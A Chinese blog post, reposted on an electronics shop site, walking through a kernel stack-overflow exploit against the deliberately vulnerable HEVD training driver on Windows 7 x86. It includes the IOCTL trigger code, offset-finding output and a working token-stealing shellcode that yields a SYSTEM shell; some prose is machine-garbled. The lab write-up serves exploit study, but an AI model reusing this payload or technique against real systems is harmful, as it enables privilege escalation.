锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

时间:2023-08-22 21:07:00 1sma22at3g抑制二极管

作者:selph

前言

窥探Ring0漏洞世界:缓冲区溢出的突破GS保护

实验环境:

?虚拟机:Windows 7 x86

?物理机:Windows 10 x64

?软件:IDA,Windbg,VS2022

漏洞分析
实验内容是BufferOverflowStackGS(环境提供的栈溢出有两种,一种是普通的,一种是普通的GS保护的)

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可见两个函数:BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,前者是分发程序,后者是漏洞程序

从IDA的F从5英里可以看出,这是一个经典的栈溢出漏洞:用户输入的长度memcpy调用和上一个完全一样

int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size)
{
unsigned __int8 KernelBuffer[512]; // [esp 14h] [ebp-21Ch] BYREF
CPPEH_RECORD ms_exc; // [esp 218h] [ebp-18h]

memset(KernelBuffer, 0, sizeof(KernelBuffer));
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x200u, 1u);
_DbgPrintEx(0x4Du, 3u, “[ ] UserBuffer: 0x%p\n”, UserBuffer);
_DbgPrintEx(0x4Du, 3u, “[ ] UserBuffer Size: 0x%zX\n”, Size);
_DbgPrintEx(0x4Du, 3u, “[ ] KernelBuffer: 0x%p\n”, KernelBuffer);
_DbgPrintEx(0x4Du, 3u, “[ ] KernelBuffer Size: 0x%zX\n”, 0x200u);
_DbgPrintEx(0x4Du, 3u, “[ ] Triggering Buffer Overflow in Stack (GS)\n”);
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}

交叉引用查看调用处:和上次一样

int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

v2 = -1073741823;
Parameters = IrpSp->Parameters.CreatePipe.Parameters;
if ( Parameters )
return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options);
return v2;
}

然后上去找控制码,这里调用处前面的标号是$LN6

查看前面的跳转表:

可见这里是按顺序排列的,这里eax只要等于1,就可以跳过

根据上例,eax=0,所需输入为0x00222003,查看eax是怎么来的:

它是通过这个索引获得的,所以在这里eax比上次多4,所以这次使用的控制码是:0x222007

漏洞利用
突破GS获得程序控制权
GS保护机制简介:打开GS在函数开始时使用保护ebp在函数结束时检查随机值是否不同或保存,再次不同或检查随机值是否与以前一致。如果一致,则通过GS如果检查不一致,则进入其他程序流程

常规的绕过GS保护方法包括使用虚函数或SEH突破,无论哪一个,都可以GS检查前,劫持程序

所以对于突破GS保护,只需生成随机序列,然后看看程序跳转到随机序列的位置,就可以判断劫持程序执行过程的位置

使用kali的pattern_create.rb进行生成:

┌──(selph?kali)-[~/桌面]
└─$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

构建测试程序:

#include
#include

char *shellcode = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”;
int shellcodeLength = strlen(shellcode);

int main()
{
HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf(“[ERROR]Open Device Error\r\n”);
system(“pause”);
exit(1);
}
else {
printf(“[INFO]Device Handle: 0x%X\n”, hDevice);
}

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);

return 0;
}

很快,就看到程序报错了,查看寄存器:

Access violation - code c0000005 (!!! second chance !!!)
73413173 ?? ???
kd> r
eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8
eip=73413173 esp=9745bae0 ebp=41307341 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
73413173 ?? ???

eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:

┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_offset.rb -q 73413173 -l 1000
[*] Exact match at offset 544

偏移在544的位置,修改测试代码再次尝试:

#include
#include

int main()
{

ULONG UserBufferSize = 544+4;

HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf(“[ERROR]Open Device Error\r\n”);
system(“pause”);
exit(1);
}
else {
printf(“[INFO]Device Handle: 0x%X\n”, hDevice);
}

PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
if (!UserBuffer) {
printf(“[ERROR]Allocate ERROR”);
system(“pause”);

   exit(1);
}
else {
   printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
   printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
}

RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));

*(PULONG)MemoryAddress = (ULONG)0x66666666;

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
return 0;
}

抛出异常:

Access violation - code c0000005 (!!! second chance !!!)
66666666 ?? ???
kd> r
eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158
eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296
66666666 ?? ???

成功找到溢出控制点,接下来构造shellcode进行跳转即可

构造shellcode
这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:

示例shellcode:

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
__emit 0cch
pushad

;获取当前进程EPROCESS
   xor eax, eax
   mov eax, fs: [eax + KTHREAD_OFFSET]
   mov eax, [eax + EPROCESS_OFFSET]
   mov ecx, eax

;搜索system进程EPROCESS
   mov edx, SYSTEM_PID
   SearchSystemPID:
   mov eax, [eax + FLINK_OFFSET]
   sub eax, FLINK_OFFSET
   cmp[eax + PID_OFFSET], edx
   jne SearchSystemPID

;token窃取
   mov edx, [eax + TOKEN_OFFSET]
   mov[ecx + TOKEN_OFFSET], edx

;环境还原+返回
   popad
   xor eax, eax
   add esp, 12
   pop ebp
   ret 8
}

}

这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:

kd> k

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong.
00 92031ae0 928f70ea 0x1f1043
01 92031afc 83e83593 HEVD!IrpDeviceIoCtlHandler+0x86
02 92031b14 8407799f nt!IofCallDriver+0x63
03 92031b34 8407ab71 nt!IopSynchronousServiceTail+0x1f8
04 92031bd0 840c13f4 nt!IopXxxControlFile+0x6aa
05 92031c04 83e8a1ea nt!NtDeviceIoControlFile+0x2a

可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler+0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行

返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:

PAGE:004452C8 loc_4452C8: ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j
PAGE:004452C8 8B C1 mov eax, ecx
PAGE:004452CA 5D pop ebp
PAGE:004452CB C2 08 00 retn 8

eax里保存一个返回值,弹出原本的ebp,retn 8

也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:

kd> dds esp
92031ad48855a4d0
92031ad8 83f11087 nt!DbgPrintEx
92031adc 8855a540
92031ae0 92031afc
92031ae4 928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]
92031ae8 8855a4d0
92031aec 8855a540
92031af0 86671350

call指令的作用是入栈返回地址+跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:

PAGE:004452AA 55 push ebp
PAGE:004452AB 8B EC mov ebp, esp

第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可

所以要做的操作就是:add esp, 0xc

获取System权限
提权后执行的操作:

system(“pause”);
system(“cmd.exe”);

截图演示:

 

参考资料
•[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] 探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com) 探究security_cookie在程序中的作用 - 我可是会飞的啊

•[3] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客

•[4] HEVD Stack Overflow GS (klue.github.io) HEVD Stack Overflow GS

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章